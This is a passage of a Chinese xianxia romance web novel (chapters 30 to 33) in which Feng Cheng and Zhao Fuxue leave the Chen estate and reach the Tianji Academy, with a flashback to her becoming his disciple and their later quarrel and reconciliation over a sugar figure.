这张脸与陈风起一模一样,目光中却多了陈风起所没有的沉沉暮色,他疲倦地抬起眼来,望向封澄,缓声道:“封澄。” “陈家毁了,”他的眼角有泪缓缓地滑下,“我该恨谁?” 第30章 第30章封澄对赵负雪这个莫名其…… 封赵二人伤好一些后,便去古安天机所暂住,顺便将陈家之众一一调查,赵家修士来得很快,不过三日,二人就该动身了。 封澄临登车前,回首向陈氏山庄望去。 陈氏山庄还是原来那副不可撼动的样子,群山巍巍,仙气环绕,每个陈家弟子,都以身为陈家修士为豪,几日前的血洗噩梦,在家主的铁腕下,早已无人提起。 只是时时有天机师出入,身后带着一个失魂落魄的陈家修士。 陈云不会来送别了,封澄想,二人之前情分,早已随着陈风起的死去,而一分两半了。 赵负雪立于他身后,见她愣怔,垂眸道:“可有什么东西忘下了?” 封澄回过神来,摇了摇头,转身登上马车。 她说不清楚在等待什么,几日前,两人的最后一面堪称不欢而散,若非后来赵负雪提剑冲了进来,二人大概会顺理成章地打起来。 陈风起死了,畜生一样的人,死了也不足惜。 可无人知晓他的死亡,陈云成了所有人眼中的陈风起,这位名震一方的一家之主,连死后的哀荣也不配有。 一代大修的死去竟然堪称荒谬,儿子连为父亲悲痛的资格都被抹去了。 “父亲未赎的罪,”她记得陈云浑浊的眼睛,“我为他赎……一介地魔,为了区区一个我,连自爆这种路数都用上了,。” “此后这世间,再无陈云,而陈氏家主的威名,也会在我这个没用的儿子手里慢慢没落。” “说不定,等我最后带着父亲的半生死去时,人人都会上来唾上一口,说陈风起毁了陈家——你知道的,我一直没什么用。” 不知何时起风了,封澄的眼睛一时间有些酸,她望着陈氏山庄后,那座影影绰绰露出影子来的颛安峰。 “陈云,”她默默的想起了后世的陈家,抬眼道,“会再见的。” 正在此时,一人叫住了她,紧接着一人递上来两只指环,那陈家弟子道:“姑娘,这是我们家主送来的。” 两枚银色的指环,与陈氏指环的样子有些出入,看着简朴许多,并无陈氏指环上繁杂的文字与图案。 赵负雪冷道:“这是什么意思?” 陈家弟子笑容不变:“我们陈氏指环,除了用作灵器那些外,做个首饰也是极为体面的,这是家主特意嘱咐过的指环,还望姑娘一定收下。” 赵负雪还待说些什么,一旁的封澄却提前他一步接过了两只指环,道:“替我谢谢你家家主,改日我再来拜会。” 她一跃上了马车,并未注意到身后赵负雪的脸色霎时变得无比好看。 不知道赵负雪突然又发的什么疯,封澄坐上马车,只觉得周围空气一片寂静。 封澄:“?” 这超乎寻常的寂静无比刻意,显然是人为的,赵负雪端然坐在一边,甚至连呼吸的动静都不太明显,好像是坐了一座雕塑似的。 封澄好笑地去戳他:“劳驾,赵公子,你不用呼吸的吗?” 赵负雪冷哼一声,闭目不言。 封澄又戳了戳他:“哎,在山上还好好的,怎么一上车就翻脸了?赵公子?赵公子?赏个脸,我很尴尬的。” 兴许是被她戳得烦了,赵负雪终于缓缓地掀起了眼皮:“和你很熟吗?” 封澄:“……” 封澄:“不熟,很不熟,好吧,是我冒犯了,赵公子。” 说着她便乖乖地退回原位,不料赵负雪猛然睁开了眼睛,一把抓住了往后退的封澄,封澄一惊,转头看着他,瞳孔剧烈颤抖。 赵 负雪的脸色隐隐有几分红,这在他这位失血过多的有伤青年身上可谓是少见,他攥着封澄的手,力度大得不容忽视,封澄悄悄往外抽了抽,没抽动。 半晌,他才隐忍道:“你收那俩破烂做什么。” ……破烂。 封澄无言片刻,道:“陈风起是我……是我朋友,他为我送别选的东西,我为什么不能收?” 朋友?赵负雪更气了:“那老头都有快一百岁了,还在这里唧唧歪歪地和小姑娘交朋友!他那种连徒儿都不放过的畜生……你不杀他我便觉得奇怪了,怎还收了他的东西!这种贴身之物,是他这个朋友能送的吗?他交个屁!” 哪来这么大的火气,封澄无语地瞥了赵负雪一眼,脱口而出道:“指环就是贴身之物了?那我给你包扎的布条算什么?” 这东西还是她给赵负雪剪外裳时发现的,剪出来一抖,抖出两块布条来,洗净了,妥善叠好了,封澄一眼就看出来了——这就是她撕下来给赵负雪包扎的布条。 赵负雪脸腾地一红,猛地抽开手,终于闭嘴了。 说出来,封澄才觉得这句话是不是过分亲昵了些,她又尴尬地找补道:“……我不是那个意思。” 赵负雪的脸色更古怪了,他转过头去,一路上仿佛闭了嘴的蚌,任凭她一路上再怎么折腾,他也绝不多吭一声了。 封澄对赵负雪这个莫名其妙说来就来的脾气大为拜服。 京城路远,赵负雪又有伤,不能御剑而行,二人紧赶慢赶,走走停停,竟然走了半月有余。 封澄在某一个清晨,习惯地拿起赵负雪早已备好的热毛巾,又梦游似的走到了赵负雪备好早饭的桌子旁时,才猛然发觉,她似乎已经习惯和赵负雪一同出入了。 一想到这里,她当即面露复杂。之色,一边痛心于小小师尊年纪轻轻就被她折腾,一边又对桌上热气腾腾的食物大快朵颐。 “吃慢点,没人和你抢,”赵负雪洗了手落座,先夹了一只烧卖递给她,“这几日古安那边的消息传来了。” 封澄把口中食物吞下,点了点头:“陈家没落了,查的查,杀的杀,陈氏山庄只剩一座荒山,还有几个担不了事的修士……陈风起还活着。” 还有就是: “阿环血书被公之于众,天下大哗。” 二人沉默。 封澄道:“这样挺好的。” 片刻,赵负雪才道:“挺好的。” 顿了顿,他又道:“不说这些,已经进了洛都,你要不要去天机院看一看?” 说来说去还是天机院,封澄哑然失笑,她把赵负雪夹来的烧卖咬开吃了,半晌,才道:“行啊,来都来了。” 天机院与赵府,分别居于洛京的一南一北,封澄与赵负雪来到天机院时,正巧是人少的时候。 二人顺着院墙走,忽然间,远远处有一声吵嚷道:“再让老子上这个劳什子的学,老子就死给你们看!” 随后便是一阵拖拖拉拉,踢踢打打声。 年轻的小孩儿,逃学实在太正常了,封澄逃学逃得出花儿,天机院这个院墙,她走得比正门还多。 正好笑时,赵负雪道:“回去要和先生知会一声,加高院墙了。” 封澄悚然一惊道:“赵公子,做人可不能这么不厚道,你自己结业倒是潇洒了,不要给后面的师弟师妹们添堵啊。” 她心中腹诽,在她修学那几年,天机院的院墙倒是不高,但是不知是哪个缺德带冒烟儿的前辈,在墙顶上贴了一溜儿的符,翻了就引雷,险些把她就地轰死。 赵负雪正色道:“哪儿的话,我从不逃学。” 封澄:“……” 封澄干巴巴道:“挺好,赵公子省心。” 不料赵负雪瞄了她一眼:“逃学不好。” 封澄把手往身后一背,笑眯眯道:“说晚了,赵公子,我早就结业了,”说着,她又努努嘴,“不过我虽逃,但从不逃得如此鬼哭狼嚎,我也不给人添麻烦,谁也不必来抓我——反正都抓不到。” 赵负雪:“……” 还挺骄傲。 赵负雪正待说什么,却听那鬼哭狼嚎的声音越来越近,紧接着一少年踩着砖瓦便翻下来,身后一连串的尾巴道:“崔师弟,你不要跑了,不过是个结业考核,有什么可怕的!” 那崔师弟怒吼道:“换你你不跑啊!给我监考的是姓赵的狠女人!她非得扒了我一层皮不可!” 姓赵? 封澄笑吟吟地道:“京城姓赵的天机师,是不是都和你们家沾亲带故?” 赵负雪扶额:“惯例来说,赵家代代都要送一个天机师来天机院坐镇,这一代应当是我祖母的大徒,名唤赵年,是为符修,如今宫中护国大阵,便是她率众布下的。” 原来如此,封澄点了点头。 按理来说,这出逃学闹剧本该到此为之,不料那崔师弟恰巧飞掠到封澄头上这处院墙,脚下不知怎地一滑,竟直直向封澄面前栽下去! 封澄条件反射地抬手去捞,这崔师弟仿佛投怀送抱一般,竟被封澄接了个正着! 少年落入封澄怀中的瞬间,赵负雪的脸色突然如染缸般精彩。 封澄惊魂未定地将人放下来,那崔师弟也傻了,逃也不逃了,骂也不骂了,仿佛一粒钉子一般站在原地,讷讷道:“多,多谢姑娘,多谢姑娘救命。” 细细一看,这师弟倒是眉清目秀,封澄摆摆手道:“无事。” 那崔师弟挠了挠头,正待说什么,忽觉背后一凉,他目光缓缓地向左偏移,落在了封澄身后,散发着丝丝寒意的赵负雪身上。 他当即呆若木鸡:“赵,赵师兄!” 赵负雪森然道:“公然逃课,辱骂师长,还差点砸伤了过路人,我倒要看看,你能跑到哪儿去。” 崔霁的寒毛根根炸起。 封澄常年都是逃学的那个人,没曾想时至今日,竟成了为虎作伥的角色,她惆怅地叹了口气,拍了拍少年肩膀道:“去跪礼室之前,少喝点水。”魔·蝎·小·说·MOXIEXS &M.o.X.i.exs& 30-40 第31章 第31章跪下(前世 封澄跪礼室,经验颇足,此事可追溯到十七年后。 也就是她刚拜入赵负雪门下之时。 “那便是姜徵?” “她姨母是皇后,她又不是皇后,区区入学,怎么搞得这么大阵仗!” “嘘,现下世人只知皇后,不知皇帝,那姜皇后手握大权,又视这侄女儿为眼珠子,你这么说,不要命啦!” “啧……先是赵先生莫名其妙收了个关门弟子,现在又是姜皇后的侄女堵门入学,我看着天机院,早晚要完。” 天机院生徒,自选拔开始,便都是出类拔萃的年轻修士,这其中之人,不乏什么出生便引异象的天纵奇才、豪贵世家的霸道之子,换句话说,在进天机院前,谁还不是被众星捧月供着的人了? 进了天机院,不还是得乖乖穿着校服,老老实实地行礼修学,拜师求教? 可偏生就有这么一人,入学当日,大摆排场,乃是半副凤辇送来、朝中大员作随,连那身天机院出品的、极丑极锉的校服也换了材质,打眼一看,竟是市上万金难求一匹的寸华锦! 被这副阵仗簇拥着的人,自然而然也如凤凰般尊贵,她端然坐在凤辇中,正对着天机院大门。 这一看,也是个十足十的美人胚子,一双丹凤眼冷淡薄情,居高临下,待院内钟声连响三下,她才从容下车,站在了天机生徒的队伍中,向天机院内走去。 天机院的副院长名为冯回,是个个子不高的小老头儿,端的倒是仙风道骨,众天机生徒鱼贯而入,姜徵排在最后,走到她时,副院长略微颔首:“姜姑娘。” 姜徵礼数周全地行了个礼,跟着进去了。 “赵先生这一出,真是天下为之一颤啊,”一旁的天机师唏嘘道,“不知多久没见他露面 了,怎么突然跑到长煌去,收了个野孩子做徒弟?” 冯回摇摇头:“赵先生做事,旁人如何敢问?他虽年轻,却是毋庸置疑的大夏第一人,莫说是突然收徒了,哪怕他要拆了天机院,难道还有人能拦他。” 说着,他惆怅地看着姜徵的背影:“只是姜家几番示好,赵家皆不理会,皇后娘娘将侄女送来天机院,可谓是动了怒了。” 说到这里,冯回突然想起什么来:“赵先生新收的徒儿叫什么?封,封澄是吧?快让她藏起来,莫要去戳姜姑娘的眼珠子。” 此时此刻,本该同众人一道入学的封澄,却呆在鸣霄室中百无聊赖,仿佛臀下生了荆棘。 “你叫什么名字?”她问道。 赵负雪置若罔闻。 “你今年多大?” 赵负雪寂静无声。 “你什么都不和我说,那我便打道回府,回长煌了!” 赵负雪顿了顿,终于说话了:“日后,我便是你师尊,你不必回去。” 什么乱七八糟的,封澄一拍桌子,拍得赵负雪桌上棋子齐齐一蹦:“你说京城有银子赚,有好药卖,我才跟着你来的!我要银子,要药材,什么师尊不师尊的!” 天机院的弟子服并不合身,她有些瘦小,年岁也不足,哪怕是寻了最小的弟子服来,她仍然得卷袖子。 赵负雪平静道:“外裳脱来,我替你改一下。” 封澄:“……” 封澄:“改什么改,你这个拐子,赶紧放我出去。” 话音未落,封澄的腰带忽然一开,随即那衣裳仿佛自己长了腿一样,嗖地从她身上飞了出去,封澄两眼一白,被带得一个踉跄,当即一头砸在了赵负雪的棋局上。 黑子白子叮当滚了一地,这局棋当真是下不得了。 抽衣大法抡得封澄眼冒金星,她头朝桌子缓了会儿神,心想:“看着正人君子一张脸,怎么心这么狠!” 此时此刻,她突然反应过来——赵负雪抽走了她的外裳,她不就只剩下里衣了吗? 虽然没读过几天书,但基本的礼义廉耻,封澄还是有的,她的脸唰地一片通红,紧接着把自己滚进了一旁的帘子中,勃然大怒道:“流氓!有没有人啊——救命啊!救命啊!” 任凭封澄通天叫嚷,赵负雪依旧平静无比地捏出一枚绣花针来——这模样贤惠得封澄险些给他跪了。 “穿上,”赵负雪冷静地将袖口缝上去,又冷静地断了线,“随我走。” 封澄裹在帘子里由且大叫不绝,赵负雪似乎也没什么耐心,他拿着改好的衣服走进封澄:“是你穿,还是我来为你穿?” 他的视线莫名令封澄倍感毛骨悚然。 居高临下的阴影笼在封澄的脸上,封澄静了片刻,好汉不吃眼前亏地穿上了。 天机院的学生并不多,封澄跟着赵负雪走到杏堂时,学生与天机师已经到齐了,众人鸦雀无声,肃然静立,不声不响地等待赵负雪的到来。 天机院众师挑选徒弟,大都是走今日杏堂之流程,然后再行拜师之仪,众弟子拜师后,也可按所需去修行别派天机师的法门,赵负雪带封澄前来,从容道:“坐到我身边。” 此言一出,众学生皆大为哗然:“传言中赵先生收徒是真的?果然捡了个长煌大原的人来做徒弟?” 端坐于首位的姜徵不动神色地抿了抿唇。 封澄虽然搞不懂天机院中这些弯弯绕绕的门路,但从众人的反应来看,赵负雪身边的这个位置是万万坐不得的,谁坐谁倒霉,她当场讪笑道:“既然送我到这儿了,就不用再送了,我……” 话音未落,她早已掠身飞出八丈远,“我走了啊!” 这一掠可谓是震惊四座,赵负雪眼神一凝,端然喝了口茶,冷冷道:“回来。” “你说回来就回来?”封澄骂骂咧咧地往外冲,“骗我一次,还想骗我第二次?看我向官府告死你,你这个心狠手黑的大拐子!” 这句话说出来的后果,就是周围安静了,寂静了,死寂了。 平心而论,封澄的轻功在同龄人中可谓是出类拔萃的,得益于常年逃亡的经历,她非常有自信,只要有地方能让她跑,就算身后追着的是生有双翼的天魔,她也是毫不惧怕的。 眼看着院墙越来越近,越来越近,就在她双眼发亮,奔向自由的大门时,身后忽然飞来一道雪亮的刀光,封澄猛地一回身,对上一双冰冷的丹凤眼。 “侮辱赵先生,”她道,“还想全身而退?” 封澄猝不及防,险之又险地避开了姜徵挥来的一刀,随即单指点在她的刀身上,一个飞掠落在她身后,手刀一转,稳准狠地落在她喉间关节上,不满道:“你又是何方拐子啊?” 她常年于长煌大原上搏命,乃是刀尖上舔血的亡命之徒,使出手的,全部都是一击必杀的杀招,封澄心中也有数,这关节一错位,面前这位使刀使得极漂亮的姑娘便会人头落地,于是她扯着人落在了院墙上,道:“放我走,不然我就在这儿杀了她。” 此时此刻,在场的众学生已然不是死寂了,而是几乎要昏过去了,冯回几乎当场昏了过去,他抖着胡子道:“封,封姑娘,你先把人放开!” 一旁的赵负雪却轻轻叹道:“来不及了。” 话音未落,天机院中不知何时冒出了数位鬼魅似的修士,其周身灵力波动,竟然一时之间压得众学生难以呼吸。 “天生的麻烦精,”赵负雪从容起身,只见他手一抬,封澄便如同断翅雏鸟似的猛地冲到了他的身边,一旁的姜徵得以喘息,青着脸跪倒在了地上。 那些鬼魅似的修士齐齐聚在姜徵身后,为首一人的声音苍老无比;“赵先生,此人意图谋害姜姑娘,还请先生将她交由我等处置。” 大能修士,即便是声音,也时足以使人肝胆俱裂的,这修士的声音众饱含灵力,当场便有几个灵力低微的弟子承受不住,翻滚着跪倒在了地上,赵负雪冷哼一声,将身后封澄牢牢护住。 “我的弟子,即便是犯下滔天大罪,也当交由我处置。” 封澄怔然半跪在地,感觉到身上的经脉似乎处处受阻,种种迹象,竟然是像被封了灵力! 那老者道:“收徒仪式还未开始,此人未曾行全拜师之礼,如何是赵公子的徒弟?” 此事即便是傻子,也当知晓此事利害了,封澄当机立断,毫不犹豫道:“朝哪儿拜,我立马就拜!” 周围寂静了。 赵负雪看着她,目光古井无波。 老者顿了片刻,难以置信道:“赵先生便要为了这种市井泼皮,与姜家决裂吗?” 陡然间,一道飞剑凭空出现,极快地刺向这位老者! 赵负雪收剑:“我的徒儿,还轮不到旁人评判。” 那老者口吐鲜血地被击飞出去,一旁的众修士却不敢再上前一步,众目睽睽下,赵负雪微微垂眸,道:“跪下。” 封澄不敢犹豫,生怕再晚一瞬,这群吃人的修士便能把她生吞活剥了。 她毫不犹豫地单膝跪下,一旁礼官不忍卒视,悄声提醒道:“姑娘,双膝,双膝。” 双膝跪天跪地跪父母,此时不过保命之举,又不是真心拜师,双什么膝? 封澄充耳不闻,就当没听见。 赵负雪从怀中取出一玉佩,垂眸,递给封澄:“从此以后,你便是我赵负雪的徒儿了。” “你我从此,同进同退,同生同死。” 众人一听,面面相觑——原本该说的话,似乎并不是这么说的。 封澄不疑有他,她心中只有小命要紧,于是她抬起手,郑重地接过赵负雪递来的玉佩。 玉佩入手温润,其中蕴藏灵气,令她周身一松。 “同进同退,同生同死。” 第32章 第32章我那年,和我师尊吵了一…… 如若封澄在外惹事,旁人道:“喊出你家长辈来!” 这种时候,够资格被封澄喊出来的,有且只有赵负雪一人。 而此时倒反天罡,封澄与赵负雪并肩坐着,面前是赵负雪的长辈,女修不苟言笑,严厉之色几乎写在了脸上,她的目光停在封澄身上,每一停,便引得封澄一抖。 即便封澄手里拿着滚热的茶水,仍然抵不过从后背冒出来的,一阵一阵的寒意。 赵负雪端然坐在她身边,瞥了一眼,道:“你抖什么?” 封澄颤颤巍巍地把茶送入口中:“茶,茶水,很烫。” 话音未落 ,滚热的茶水霎时激得她一抖,赵负雪把茶杯夺来,压声怒道:“知道烫还喝!” 赵年冷哼一声,终于放过了封澄,她重新把注意转移到了垂头丧气跪在地上的崔霁上,寒声道:“结业之日,翻墙出逃,口出狂言!天机院教你的本事,就让你学来翻墙溜号了!” 声声夺命,崔霁大气也不敢出,赵年道:“你去跪三日,跪明白了,再行结业,滚下去!” 崔霁爬起来,行了个礼,慢吞吞地走了。 将逃课的崔霁处理出去后,赵年又将目光移向了封澄,她冷冷地道:“公子,您在信上说的人,便是这个姑娘?” 赵负雪微微点头,道:“正是。” 封澄不知道赵负雪还写了信,闻言正在讶异,却听上面赵年慢慢地走下来,在她身边踱步,陡然间,伸出手来,猛地击向了她的胸口命门! 她猝然一惊,本能地反手钳制住赵年,赵年不退不避,反手成刺,冲向她的喉咙。 身上两处命门被击,封澄灵气腾然而起,赵年见封澄身边灵气,眼睛危险地一眯。 赵负雪瞳孔剧烈一缩,挡上来道:“年院长,不可!” 她慢慢道:“如若我这双老眼还未昏花,这姑娘,似是一位毫无疑问的血修。” 封澄此时也明白了,她身上灵气缓缓收归体内,赵负雪咬牙道:“是,她是血修。” 赵年怒道:“公子,您当真是昏了头了!出门历练这几年,您早该长了见识,血修是何物,您难道不知晓?这种秽物,竟能被带入天机院来!” 赵负雪道:“她不是……我在信中说过,封姑娘本质纯善,侠肝义胆,数次救我于水火之中,与旁人都不同。” 此时此刻,赵年看着封澄的眼神,宛如把自家黄花闺女拐走的街头流氓,封澄不动声色地向后退了退,一时有些尴尬。 赵年恨铁不成钢道:“我知道,若非如此,这血修踏入这天机院的第一步,定然被我一掌毙了。天机院从未有过招收血修之先例,公子所言,恕我不能听从。” “血修肮脏不洁,邪淫成性,公子,您……” 听到此处,封澄终于听不下去了,她举起手来,面无表情道:“这位洁净的尊者,我虽为血修,却并未作奸犯科,更不曾对你家公子行冒犯之事,实在当不得您老这般当面侮辱。” 她自从走上血修这条路,这种话便从未断绝过。 耳朵里听的,背后讲的,林林总总,她早不在乎了。 可站在赵负雪的面前,她却忽然想要认真这一次。 顿了顿,她铿锵有力道:“这些都是我没做过的事,还希望你,向我道歉。” 此言一出,四下皆静。 赵年重新把脸转向封澄,半晌,笑了两声:“这么说,是我冤枉了你?” 封澄道:“是。我若邪淫肮脏,那么你家这位与我同出同入,同起同居的赵公子,又算什么?” 她瞄了赵负雪一眼,心平气和道:“同流合污吗?” 刹那间,赵年的脸无比难看,她冷笑两声,一字一顿道:“本质纯善,侠肝义胆?” 闻言,封澄也叹了口气:“我可没说过。” 二人只见似乎有火花刺啦作响。 赵负雪当机立断,一把抓住封澄手腕,就要向外走去;“今日有事,年院长,我们就先不奉陪了。” “公子留步。” 忽然,门前亮起一阵,随即便是刺啦灵流,拦住了二人去路,赵负雪不回头,道:“什么意思。” 赵年冷声道:“看在公子面子上,这个血修,天机院能收。” 封澄刚要道一声谁稀罕,却听见身边赵负雪道:“条件。” 赵年走到封澄面前,低头,似笑非笑地看着她:“不难,血修转修,定然要有个方向,今日我就来试试这位姑娘的资质如何。” 她一抬手,身后灵阵轰然而起,雷鸣之声不绝于耳。 “破阵,我便收她入我门下。”赵年道,“从血修转回符修,我定然亲力亲为,万死不辞。” 这个条件着实是诱人极了,天下第一符修的亲传弟子,不知多少人要挣破了头。 赵年又道:“公子还请回避,容她一人来破阵。” 不料此时,赵负雪却冷笑了:“如此刁难,倒是不必了,我们走。” 说话间,见素悍然出鞘,冰冷寒气霎时席卷了整个屋舍,忽然间,他的袖口却被轻微地捏了一下。 不重,就像是猫的爪子。 封澄抬眼,转头笑道:“院长,我所熟知的破阵之法,自始至终只有一个。” 她的灵力毫无保留地自她身上汹涌而出,仿佛是一道闸门打开,却放出了沧海汪洋。 在这般灵力的冲击下,那雷鸣轰然的阵法,竟然寸寸龟裂,应声破裂! 封澄头也不回,抬起赵负雪的手,便向门外走去了。 赵年怔然站在二人身后,见到她的背影渐渐远去。 莫名地,她摸了摸自己的胸口。 她笃定,封澄所言的破阵之法,绝不是像她那样用灵力,将阵法撑爆。 而是转过身来,将阵主一击杀死。 不经世事的修士,一定会将精力集中于破阵上,而久经沙场的老手,只会找到一条最便捷的途径。 说到底,在设阵之时,把自己置身与封澄的面前时,她就已经输了。 这样想着,赵年看向封澄的目光,隐隐一动。 待二人出了赵年的大门,封澄便松开了赵负雪的手,面无表情道:“我要一个人去逛逛,你且自己回赵家吧。” 赵负雪伸手道:“封……” 封澄转身便走,一个眼神也未分给他:“别跟过来。” 赵负雪:“……” 望着封澄渐行渐远的背影,赵负雪怔在原地,脸上第一次露出了类似于完蛋的表情。 天机院对于封澄来说,可谓是熟门熟路,此时正是众多生徒修习的时候,倒是不会碰到人,她懒洋洋地闲逛,心中的不爽却越发明显了。 赵负雪带她来见的什么人!从前一点儿都没和她说过,还迎头挨了一顿莫名其妙的数落! 她气得向墙上咣咣砸了两拳,恨不得这拳头是冲着赵负雪去的。 忽然间,封澄反应过来。 她在生赵负雪的气?她在怪赵负雪? 封澄停了下来。 这个赵负雪,与她后面所拜的师尊,割裂感强到了无法忽视的地步。 她的师尊,好像从来不会出错,温和周全,清冷无尘,简直比仙人还要仙人。 这个赵负雪,行事莽撞,自以为是,虽会讨好人,却往往讨好得笨拙,会吐槽,会生气,还会犯错。 她的拳头砸在屋后墙上:“简直……” 简直是个活人。 对,活人。 她后知后觉地发现,曾经赵负雪于她,是神祗,是师尊,是追逐仰望的对象,却独独不是像现在这样,是个能够令她心生恼火的活人。 越想越焦躁,封澄索性又往墙上砸了几拳,正咣咣发泄之际,忽然墙后传来幽幽一声:“这位仁兄,再砸,墙要穿了。” 封澄吓了一跳,连忙收回了手,墙后又传来一声:“也别走啊!此处相遇,可谓是缘分,不如交个朋友,如何?” 这声音越听越耳熟,封澄凝神,片刻,道:“你是,你是那个崔……崔什么。” “……” 对面陷入了沉默。 半晌,墙上忽然传来动静,封澄抬眼,正巧撞入崔霁亮出来的大白牙:“你好啊,我们又见面了。” 果然是他,封澄不由得一笑:“两次见你,都在墙上,你一定与天机院的墙有缘分。” 崔霁左右看看,飞身落下,唉声叹气道:“别提了,本来赵院长这关就不好过,现在被抓了,喏,我定然要被排到下一年,再把天机院的课程上一个遍。” 封 澄叹息道:“这时候还真好啊,天机院学生都能迟一年结业了,像我们那时候,连结业都不必结业,就被派出去历练了。” 这话说得崔霁睁大了眼睛:“姑娘看着年轻,不曾想竟然是我的师姐!师姐是哪位先生门下的?” 哪位先生? 她的师尊这时候才刚结业呢。 支支吾吾片刻,封澄敷衍过去:“他早离开了,云游天下,连我也找不着他。” 崔霁唔了一声,又兴致勃勃道:“姑娘那时候可真好啊,不必结业就能出去了,想来是潇洒自在,无拘无束。” 什么自由自在,封澄不由得笑了:“什么啊,我那时候,魔物到处跑,天机师不够用,连半大的学徒也得去出生入死,天机军里最年轻的兵士,不过十几岁。” 崔霁当即愣住了:“那姑娘你早早结业,也是因为……” 封澄道:“我倒不是因为这个,我那年,和我师尊吵了一架,于是赌气跑出来了。” 远处忽然传来轻轻的步音,封澄抬眼,看到不远处露出来的雪白衣角。 第33章 第33章这章是感情 赵负雪似乎想要走过来,似乎是见她在同人说话,才站在远处不靠近的。 如果他不想被人发现,自然有千百个法子,可偏生就露出一个衣角来了,封澄好气又好笑,正在这时,崔霁又偏偏插嘴道:“怎么吵起来的?” 封澄斟酌片刻,果断道:“我至今也搞不明白,只好觉得是他老眼昏花,上了年纪发疯。” 崔霁:“……” 真是个大逆不道的好徒弟。 不知何时起了一阵风,二人坐在树下,不免风吹了几片草叶在身上,正说着,崔霁忽然道:“别动。” 片刻,手绕到她颈后,从封澄的肩上取下了一片草叶。 封澄微怔,崔霁笑道;“叶子。” 原来如此,封澄点了点头,忽然崔霁变戏法一样又取了几片草叶,手指一飞,三下五除二,竟将那片草叶与其余几片编成了一只草蚂蚱,蚂蚱活灵活现,栩栩如生,封澄不免笑道:“好有趣,很像。” 崔霁笑眯眯地递过去道:“给师姐的。” 封澄不疑有他,伸手去拿,不料崔霁一收手,又道:“不过呢,师姐要给我一样东西作交换。” 倒也不是稀罕那只草蚂蚱,封澄觉得有趣,道:“你说。” 崔霁道:“我想要师姐告诉我,你叫什么名字?” 给个名字有什么的,封澄当即就要张口,忽然面上笼罩了一片阴影,紧接着便是熟悉无比的冷香,一抬头,只见赵负雪冷着脸道:“与其问师姐叫什么名字,不如关心关系你现下叫什么。” 崔霁当即吓得一弹,猛地站起来道:“……赵赵赵师兄!?” 赵负雪道;“禁闭期间,私自外出,跪回去。” 崔霁垂头丧气地行了个礼,灰溜溜地跃上了墙头,转头又道:“我一定会知道师姐的名字的,师姐,等我啊!” 陡然一道刺目寒光飞去,崔霁哎呦一声,逃也似地钻进了院子中。 赵负雪收剑,风将他宽大的袖子吹到了封澄的脸上,蒙了她一头一脸,封澄索性往后一仰,似笑非笑道:“赵公子,你把他吓跑了,谁赔我蚂蚱。” 赵负雪回过头,一低头,看到封澄仰着脸看他,他登时脸有些红。 “……就那么好吗?” 封澄没听明白:“什么?” 赵负雪顿了顿:“蚂蚱,就那么好吗?” 当然好,封澄索性拍了拍屁。股站起来:“赵公子,这就是你不懂了,古人有言,投我以木瓜,报之以琼琚,要紧的是这个木瓜吗,当然不是喽。” 她摇头叹息,从赵负雪身边擦着肩走过:“要紧的是这个少年情思啊——赵公子,你可当真是块冷冰冰的木头。” 忽然间,一只手拦住了她的去路。 他道:“这个,要不要?” 他的手如同精心雕琢的白玉,骨节分明,流畅修长,而那只玉似的手上,却捏着一只黄灿灿的糖人。 如若只是糖人也就罢了,可这个糖人,却是被手艺绝佳的糖师傅细细照料过的,眉眼神态,活灵活现,好似一个金灿灿的活人儿。 它被手艺匠人捏成了一个负剑的少年,这少年跪地求饶,哇哇大哭,看着着实凄惨极了。 封澄一怔,赵负雪那边又迟疑问道:“……不要吗?” 他的胸口跳得能让他喘不过气来,见封澄不动,赵负雪脸一红,就要把手往回缩,不料封澄一把抓住了他的手,从他的手中将糖人捞了出来。 她好像也有些傻傻愣愣的了,拿过糖人,好像是从来没见过一样,眼睛几乎粘了上去。 赵负雪目不转睛地看着她,他由且记得那糖师傅听到他说出那荒谬要求时,无比意味深长的表情。 老头儿的眼神几乎将他脸皮烧穿, “做个最大的糖人儿?为了向人道不是?” 赵负雪硬着头皮;“……是。” 老头儿不紧不慢地烧起热锅来,将糖块放在锅中融化;“听我一句劝,小公子,凡事在精,不在多。” 赵负雪悚然正色道:“请老先生赐教。” 说话间,糖已化好了,老头儿却神秘地摇了摇头:“千金易得,诚意难求,这求起姑娘心软来,必然要求到其心坎儿里,你这么举过一个大糖人儿去,只怕姑娘齁都要齁死了,谁管你道的什么不是?” 这么一想也有道理,赵负雪沉吟片刻,眼睛一亮,老者连忙道:“你想到了,姑娘吃哪一套?” 赵负雪双目坚定:“跪地求饶,撒娇打滚,嚎啕大哭。” 老头儿跃跃欲试的手顿住了,他满是皱纹的脸上一片空白:“……啊?” 赵负雪更坚定了:“就这么做。” 竹林风起,一齐吹动了二人的衣袖,封澄的长发蒙了眼,她连忙把头发挽到耳后,偷眼瞥去,只见赵负雪满脸通红,细细一看,脚尖朝外,竟是一言不合,就原地逃跑的架势。 赵负雪自小便生在赵家那等世家,喜怒不形于色早已是刻在骨子里的东西,偏生此时,他的紧张与期待,他的慌乱与尴尬,同他脸上的绯意一起,无所遁形。 封澄垂眸看向这只糖人,半晌,才道:“手艺了得,比我做的好上许多。” 赵负雪神色一紧,他猛地抬起头来,紧紧地盯着封澄,不错过她脸上一丝一毫细微的变化。 可令人沮丧的是,封澄的脸上连一根肌肉的波动都没有,令人根本猜不透她在想什么。 她冷不丁将糖人举起,三下五除二,咔咔嚼了个干净,动作比兔子吃白菜还有利索许多,吃完,她拍了拍手,又擦了擦嘴边的糖屑,转头就走,赵负雪还未来得及叫住她,便见封澄住了脚,微微偏头到:“崔霁应当关心自己叫什么?” 这话说得没头没脑,但赵负雪还是很快地反应过来了,他不假思索,开口道: “叫明知故犯,一犯再犯,罪加一等。” 封澄那处忽然就传来一声莫名其妙的冷笑,随后她飘飘去了,留下一句: “你当真是块木头。” 这句话也不明不白,赵负雪微微皱眉,好像是被封澄不轻不重地拍了一巴掌一样,懵然,不理解。 这句话是原谅还是不原谅? 他上前一步,不料封澄道:“不要再跟过来。” 这段拒绝说得铿锵有力,坚定又果决,无法令人抗拒,就像是在战场上发号施令的将军,赵负雪当即便定在了原地。 封澄走远,他失魂落魄地出了竹林。 这是原谅,还是不原谅? 赵负雪坐卧不安,站也纠结,坐也纠结,纠结了半日,还没纠结出个结果来,事实便突然给了他狠狠一巴掌——封澄就不见了。 这件事,是他过了一会儿,打算带她回赵家入住时发现的。 二人这几日同出同入,住的都是同一家客栈,开两间房舍,房费从来都是他退房舍时结,不料这晚他回到客栈,打算与客栈老板算清房费时,却得到了老板意外的回答。 “房费?”他看了看赵负雪,又努力看了看账本,“不是一个姑娘,今日过来结清了吗?” 凭空一道霹雳下来,赵负雪当即便被劈在了原地。 